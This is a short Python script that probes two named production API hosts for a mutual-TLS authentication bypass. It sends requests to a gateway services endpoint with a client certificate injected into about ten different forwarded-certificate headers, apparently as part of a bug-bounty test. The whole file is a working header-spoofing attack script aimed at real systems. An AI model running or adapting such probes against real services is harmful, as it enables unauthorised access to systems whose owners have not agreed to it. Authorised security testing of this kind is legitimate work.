#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["curl-cffi>=0.15.0"]
# ///
from curl_cffi import requests
from concurrent.futures import ThreadPoolExecutor,as_completed
import json
cert=open('/tmp/bb-cert-enc').read().strip()
variants={
 'control':None,
 'xfwd-mtls':'X-Forwarded-mTLS-Client-Cert',
 'xfcc':'X-Forwarded-Client-Cert',
 'xsslclient':'X-SSL-Client-Cert',
 'sslclient':'SSL_CLIENT_CERT',
 'xsslcert':'X-SSL-CERT',
 'xclientcert':'X-Client-Certificate',
 'clientcert':'Client-Cert',
 'arr':'X-ARR-ClientCert',
 'amzn':'X-Amzn-Mtls-Clientcert',
 'xfwdtls':'X-Forwarded-Tls-Client-Cert',
}
hosts=['api.baloise.de','api2.baloise.de']
def one(item):
 h,(name,hn)=item
 hd={'X-Bug-Bounty':'dwbzn','Accept':'application/xml, application/json'}
 if hn:hd[hn]=cert
 try:
  r=requests.get(f'https://{h}/restman/1.0/services',headers=hd,timeout=12,impersonate='chrome',toadex_capture=False)
  return {'host':h,'name':name,'header':hn,'status':r.status_code,'len':len(r.content),'type':r.headers.get('content-type'),'www':r.headers.get('www-authenticate'),'body':r.text[:260]}
 except Exception as e:return {'host':h,'name':name,'error':repr(e)}
with ThreadPoolExecutor(max_workers=4) as ex:
 for f in as_completed([ex.submit(one,(h,x)) for h in hosts for x in variants.items()]):
  print(json.dumps(f.result(),ensure_ascii=False),flush=True)
